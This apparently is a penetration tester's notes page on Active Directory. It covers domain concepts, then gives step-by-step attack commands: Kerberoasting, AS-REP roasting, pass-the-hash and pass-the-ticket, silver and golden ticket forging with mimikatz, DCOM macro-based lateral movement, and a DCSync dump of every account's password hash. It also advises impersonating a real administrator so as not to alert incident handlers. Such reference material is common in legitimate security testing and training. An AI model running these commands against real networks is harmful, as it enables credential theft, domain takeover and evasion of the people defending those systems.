Active Directory

Theory

Concepts

Active Directory Directory Services (ADDS), commonly known as Active Directory, serves the purpose of furnishing an expandable and centralized framework for IT management, as well as authentication and authorization.

Active Directory is structured around a top-level domain, such as demo.com, often aligned with a company's name. The highest-tier component within Active Directory is termed a Forest, which operates autonomously, delivering all essential services. Within the Forest, it's also possible to incorporate subdomains like sub.demo.com as part of Domains nested under it.

The core entity within Active Directory is the Domain Controller (DC), responsible for housing pertinent Forest information and providing crucial authentication and authorization functions. Additionally, it encompasses core and innate management services.

To ensure data and service redundancy, a Forest encompasses multiple Domain Controllers. These Domain Controllers engage in the replication of Active Directory data amongst themselves, enabling each to undertake most services independently.

Alongside Domain Controllers, Active Directory encompasses an array of Windows servers and Windows clients, often referred to as domain-joined devices. Domain Controllers host services catering to both authentication and authorization for computers and the services they run. While Linux systems can also be part of a domain, this practice is not as widespread and doesn't offer equivalent management capabilities.

The main network protocol used to facilitate both authentication and authorization in Active Directory is Kerberos.

While the Kerberos protocol handles both authentication and authorization, Lightweight Directory Access Protocol (LDAP) is very commonly used to interact with Domain Controllers to submit or retrieve data.

Users

Everything inside Active Directory is stored as objects. This also includes the major elements such as users and computers.

To ensure a unique naming convention for all objects, Active Directory assigns all objects a Security Identifier or SID which has the following structure: S-R-I-S

Letter Description
S A literal "S" to identify the string as a SID
R Revision Level (usually set to "1")
I Identifier-authority value (often "5" within AD)
S One or more subauthority values
Example

S-1-5-21-2536614415-3629634762-1218571035-1116

In the example above, 21-2536614415-3629634762-1218571035 is the domain's numeric identifier and 1116 is the RID, or relative identifier, representing the specific object in the domain.

All data is stored either directly at the Forest level or inside an Organizational Unit (OU). The structure of objects and OUs in Active Directory can be compared to files and folders on a file system.

Groups

Active Directory handles access permissions through group memberships, instead of access rights directly on each user account. This is done to ensure a dynamic and scalable approach that can quickly and easily be modified when the need arises.

In Active Directory, two major types of groups exist:

There are a couple of default security groups worth explaining here:

Any member of the Enterprise Admins group is also a domain administrator of any other domain in the Forest.

The notion of group membership inside group membership is called nested groups and is very commonly used in Active Directory. The power of nested groups is its flexibility, as any user or group can be dynamically added or removed from a group to provide the desired access. One of the drawbacks of nested groups is their lack of transparency. It can be very hard to view the so-called effective group memberships directly in the graphical user interface.

Group Policy Objects

As part of managing an IT infrastructure, it is important to have the ability to configure settings for applications and operating systems dynamically, regardless of network size.

Active Directory provides a solution for managing many settings through Group Policy Objects also called GPOs. GPOs are a native component of Windows, and two main versions exist. The first is local GPOs and the second version is the ones configured through Active Directory.

A GPO is a series of XML files that contain settings and configurations for a multitude of applications and options in Windows. When a GPO is created it is stored in the SMB path \\<domain controller host name>\sysvol, in our case \\dc01\sysvol. All members of the Authenticated Users, Domain Users, and Domain Computers group have read permissions to SYSVOL.

When a GPO is created, it is linked to either the domain or an OU. GPOs cannot be linked to folders, which is why system administrators always create numerous custom OUs.

In the GPO editor, we find two main categories:

There is a huge number of possible GPO settings, additionally, most Microsoft applications also come with installable GPOs, such as Microsoft Word, Exchange, or SharePoint. Many third-party applications also have developed GPOs that can be imported.

When a GPO is created it must be applied to the user or computer objects it is linked to, but since it is possible to have multiple GPOs with conflicting settings in child OUs, a priority system is required. GPOs are processed in the following order:

  1. Local
  2. Domain
  3. OU (parent, then child)

The GPO which is applied last will be the effective one.

GPOs in Active Directory work by each domain-joined computer, asking for updates from the Domain Controller every 90 minutes. It is also possible to force an update from a domain-joined computer by executing the command gpupdate /force.

A domain joined computer in an enterprise will be affected by many GPOs, which means the effective settings can be hard to predict. Luckily, the native command gpresult /H outfile.html generates an HTML file containing the final settings for the specific computer it is executed on.

Resources

pentest_ad.png
[1]

Enumeration

Manual

Traditional Approach

A Modern Approach

Note

This script is flexible and should be modified, especial the filter (e.g.: $Searcher.filter="name=USERNAME" to filter for a specific user)

Resolving Nested Groups

Currently Logged on Users

Enumeration Through Service Principal Names

Note

Check the serviceprincipalname for the FQDN of the webserver

Hint

While Microsoft has not documented a list of searchable SPN's there are extensive lists available online adsecurity.org

ADRecon

BloodHound

Privilege Escalation & Lateral Movement

Credential Harvesting

Hash/Ticket Extraction

Hashes

Note

For AD instances at a functional level of Windows 2003, NTLM is the only available hashing algorithm. For instances running Windows Server 2008 or later, both NTLM and SHA-1 (a common companion for AES encryption) may be available.

On older operating systems like Windows 7, or operating systems that have it manually set, WDigest, will be enabled. When WDigest is enabled, running Mimikatz will reveal cleartext password alongside the password hashes.

Ticket Granting Tickets (TGT) Ticket Granting Service (TGS)

Note

Stealing a TGS would allow us to access only particular resources associated with those tickets. On the other side, armed with a TGT ticket, we could request a TGS for specific resources we want to target within the domain.

Service Tickets (ST)

We know that when the user wants to access a resource hosted by a SPN, the client requests a service ticket that is generated by the domain controller. The service ticket is then decrypted and validated by the application server, since it is encrypted through the password hash of the SPN.

When requesting the service ticket from the domain controller, no checks are performed on whether the user has any permissions to access the service hosted by the service principal name. These checks are performed as a second step only when connecting to the service itself. This means that if we know the SPN we want to target, we can request a service ticket for it from the domain controller. Then, since it is our own ticket, we can extract it from local memory and save it to disk.

  1. Requesting a Service Ticket (if not already present)
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList 'HTTP/WebServer.corp.com'
  1. Extracting the ticket
    • mimikatz
      • .\mimikatz.exe "privilege::debug" "token::elevate" "kerberos::list /export"
    • Rubeus
      1. Elevate to SYSTEM: .\PsExec.exe -accepteula -i -s powershell.exe
      2. Extract: .\Rubeus.exe kerberoast /outfile:hashes.kerberoast /dc:DC.DOMAIN.TLD /domain:DOAMIN.TLD

NTLM Cracking

  1. Extract the hash
  2. Crack the Hashes#Windows

Kerberoast

  1. Harvest the TGT or ST
    • .\mimikatz.exe "privilege::debug" "token::elevate" "kerberos::list /export"
    • Rubeus
      1. .\PsExec.exe -accepteula -i -s powershell.exe
      2. .\Rubeus.exe kerberoast /outfile:hashes.kerberoast /dc:DC01.corp.com /domain:corp.com
  2. Crack the Hashes#Windows
  3. Verify: New-Object System.DirectoryServices.DirectoryEntry($SearchString, "USERNAME", "PASSWORD")

ASREPRoast

  1. .\Rubeus.exe asreproast /format:hashcat /outfile:hashes.asreproast [/user:username]
  2. Crack the Hashes#Windows

Pass the Hash (PTH)

Warning

Since the 2014 security update, this technique can only be used to authenticate as a local administrator account, because the technique requires access to the special admin share called Admin$, which in turn requires local administrative rights on the target machine.

Hint

whoami will NOT show you the impersonated user!

Overpass the Hash (OTH) / Pass the Key (PTK)

Warning

Since the 2014 security update, this technique can only be used to authenticate as a local administrator account, because the technique requires access to the special admin share called Admin$, which in turn requires local administrative rights on the target machine.

Warning

We can only use the TGT on the machine it was created for!

Pass the Ticket (PTT)

Warning

For PTT you NEED hostnames, accessing IPs won't work!

The Pass the Ticket attack takes advantage of the TGS, which may be exported and re-injected elsewhere on the network and then used to authenticate to a specific service. In addition, if the service tickets belong to the current user, then no administrative privileges are required.

Local

  1. Harvest the ticket
  2. Passing the ticket
    • Windows
      • .\mimikatz.exe "kerberos::ptt <ticket_kirbi_file>" "misc::cmd"
      • .\Rubeus.exe ptt /ticket:<ticket_kirbi_file>
      • Using the ticket: .\PsExec.exe -accepteula \\<remote_hostname.domain.tld> cmd
    • Linux
      • File Transfer Techniques
      • To convert tickets between Linux/Windows format: python ticketConverter.py ticket.kirbi ticket.ccache
      • export KRB5CCNAME=/home/kali/tools/impacket/examples/ticket.ccache
      • Using the ticket
        • python psexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
        • python smbexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
        • python wmiexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
  3. Verifying a successful attack
    • List the tickets in cache: klist

Remote

Work in Progress

If you want to do this attack from remote aka. from your kali attack machine you need to do a couple of setup steps:

Ticket Forging

Hint

For Golden and Silver tickets, it's important to remember that, by default, ticker and mimkatz forge tickets containing PACs that say the user belongs to some well-known administrators groups (i.e. group ids 513, 512, 520, 518, 519). There are scenarios where these groups are not enough (special machines where even Domain Admins don't have local admin rights).

In these situations, testers can specify all the groups ids when creating the ticket. However, deny ACEs could actually prevent this from working. Encountering a Deny ACE preventing domain admins to log on could be an issue when having all groups ids in the ticket, including the domain admin group id. This solution can also be really inconvenient in domains that have lots of groups.

Another solution to this is to look for a specific user with appropriate rights to impersonate and use GoldenCopy to generate a command that allows to forge a ticket with specific values corresponding to the target user (sid, group ids, etc.). The values are gathered from a neo4j database.

Hint

When forging tickets, before November 2021 updates, the user-id and groups-ids were useful but the username supplied was mostly useless. As of Nov. 2021 updates, if the username supplied doesn't exist in Active Directory, the ticket gets rejected. This also applies to Silver Tickets.

To get the Domain SID use whoami /user, in the example below the SID is S-1-5-21-1375711201-1277040102-1320212398:

PS C:\Users\admin\Downloads> whoami /user

USER INFORMATION
----------------

User Name       SID
=============== ==============================================
client251\admin S-1-5-21-1375711201-1277040102-1320212398-1001
PS C:\Users\admin\Downloads>

Silver Ticket

Hint

To create a silver ticket, we use the password hash and not the cleartext password. If a Kerberos session presented us with the cleartext password, we must hash it before using it to generate a silver ticket.

The NT hash (when the RC4 etype is not disabled, or any other Kerberos DES or AES key when it is) of a service account can be used to forge a Service ticket that can later be used with Pass the Ticket to access that service. In practice, the key is used to encrypt, among other things, the PAC (Privilege Authentication Certificate), a special set of information about the requesting user that the target service will decrypt and read to decide if the user can have access.

Remembering the inner workings of the Kerberos authentication, the application on the server executing in the context of the service account checks the user's permissions from the group memberships included in the service ticket. The user and group permissions in the service ticket are NOT verified by the application though. The application blindly trusts the integrity of the service ticket since it is encrypted with a password hash - in theory - only known to the service account and the domain controller.

  1. Create the ticket: .\mimikatz.exe "privilege::debug" "token::elevate"
    • with an NT hash: kerberos::golden /domain:$DOMAIN /sid:$DomainSID /rc4:$krbtgt_NThash /user:$username_to_impersonate /target:$targetFQDN /service:$spn_type
    • with an AES 128 key: kerberos::golden /domain:$DOMAIN /sid:$DomainSID /aes128:$krbtgt_aes128_key /user:$username_to_impersonate /target:$targetFQDN /service:$spn_type
    • with an AES 256 key: kerberos::golden /domain:$DOMAIN /sid:$DomainSID /aes256:$krbtgt_aes256_key /user:$username_to_impersonate /target:$targetFQDN /service:$spn_type
  2. Pass the Ticket (or just append /ptt to the commands above)

Now that we have this ticket loaded into memory, we can interact with the service and gain access to any information based on the group memberships we put in the silver ticket. Depending on the type of service, it might also be possible to obtain code execution.

Golden Ticket

Warning

Note that by creating our own TGT and then using PsExec, we are performing the overpass the hash attack by leveraging Kerberos authentication. If we were to connect using PsExec to the IP address of the domain controller instead of the hostname, we would instead force the use of NTLM authentication and access would still be blocked.

Hint

The use of a non-existent username may alert incident handlers if they are reviewing access logs. In order to reduce suspicion, consider using the name and ID of an existing system administrator.

The NT hash (when the RC4 etype is not disabled, or any other Kerberos DES or AES key when it is) of the special account krbtgt can be used to forge a special TGT (Ticket Granting Ticket) that can later be used with Pass the Ticket to access any resource within the AD domain. In practice, the krbtgt's key is used to encrypt, among other things, the PAC (Privilege Authentication Certificate), a special set of information about the requesting user that the KDC (Key Distribution Center) will copy/paste in the ST the users requests.

In order to craft a golden ticket, testers need to find the krbtgt's RC4 key (i.e. NT hash) or AES key (128 or 256 bits). In most cases, this can only be achieved with domain admin privileges through a DCSync attack. Because of this, golden tickets only allow lateral movement and not privilege escalation.

  1. Extract the Hash (e.g.: lsadump::lsa /patch)
  2. Create the ticket: .\mimikatz.exe "privilege::debug" "token::elevate"
    • with an NT hash: kerberos::golden /domain:$DOMAIN /sid:$DomainSID /rc4:$krbtgt_NThash /user:randomuser
    • with an AES 128 key: kerberos::golden /domain:$DOMAIN /sid:$DomainSID /aes128:$krbtgt_aes128_key /user:randomuser
    • with an AES 256 key: kerberos::golden /domain:$DOMAIN /sid:$DomainSID /aes256:$krbtgt_aes256_key /user:randomuser
  3. Pass the Ticket (or just append /ptt to the commands above)
  4. Use the ticket to for example psexec into the DC: .\PsExec.exe -accepteula \\DC01 cmd
  5. Verify with: whoami /groups

Creating the golden ticket and injecting it into memory does not require any administrative privileges, and can even be performed from a computer that is not joined to the domain. We'll take the hash and continue the procedure from a compromised workstation.

Distributed Component Object Model (DCOM)

Hint

This attack requires access to both TCP 135 for DCOM and TCP 445 for SMB (likely only possible with a local admin on the remote machine). As well as a Microsoft Office installation on the target.

DCOM objects related to Microsoft Office allow lateral movement, both through the use of Outlook as well as PowerPoint. Since this requires the presence of Microsoft Office on the target computer, this lateral movement technique is best leveraged against workstations.

  1. Check if the Run method is present:
$com = [activator]::CreateInstanceGetTypeFromProgId("Excel.Application", "$IP")
$com | Get-Member | findstr "Run"
  1. Create a Malicious Microsoft Word Macro
  2. Run the following script:
$com = [activator]::CreateInstanceGetTypeFromProgId("Excel.Application", "$IP")
$LocalPath = "C:\path\to\local\Book1.xls"
$RemotePath = "\\$IP\c$\Book1.xls"
[System.IO.File]::Copy($LocalPath, $RemotePath, $True)
$Path = "\\$IP\c$\Windows\sysWOW64\config\systemprofile\Desktop"
$temp = [system.io.directory]::createDirectory($Path)
$Workbook = $com.Workbooks.Open("C:\Book1.xls")
$com.Run("MyMacro")
Info

More examples can be found here: Invoke-DCOM.ps1

Domain Controller Synchronization (DCSync)

In production environments, domains typically have more than one domain controller to provide redundancy. The Directory Replication Service Remote Protocol uses replication to synchronize these redundant domain controllers. A domain controller may request an update for a specific object, like an account, with the IDL_DRSGetNCChanges API.

The domain controller receiving a request for an update does not verify that the request came from a known domain controller, but only that the associated SID has appropriate privileges. If we attempt to issue a rogue update request to a domain controller from a user who is a member of the Domain Admins group, it will succeed.

Using the technique above, we can request a replication update with a domain controller and obtain the password hashes of every account in Active Directory without ever logging in to the domain controller.

  1. Check which users are in the Domain Admins group: net group "Domain Admins" /dom
  2. Authenticate as one of them (e.g.: with Pass the Hash, Overpass the Hash, Pass the Ticket, etc.)
  3. Attack using .\mimikatz.exe
    • Do NOT token::elevate, you need to use the Domain Admin user not the SYSTEM user!
    • Get everything in a short and readable format: .\mimikatz.exe "lsadump::dcsync /dc:$DomainController /domain:$DOMAIN /all /csv"
    • Get a single user: .\mimikatz.exe "lsadump::dcsync /dc:$DomainController /domain:$DOMAIN /user:krbtgt"

Relevant Note(s):


  1. https://github.com/Orange-Cyberdefense/arsenal ↩︎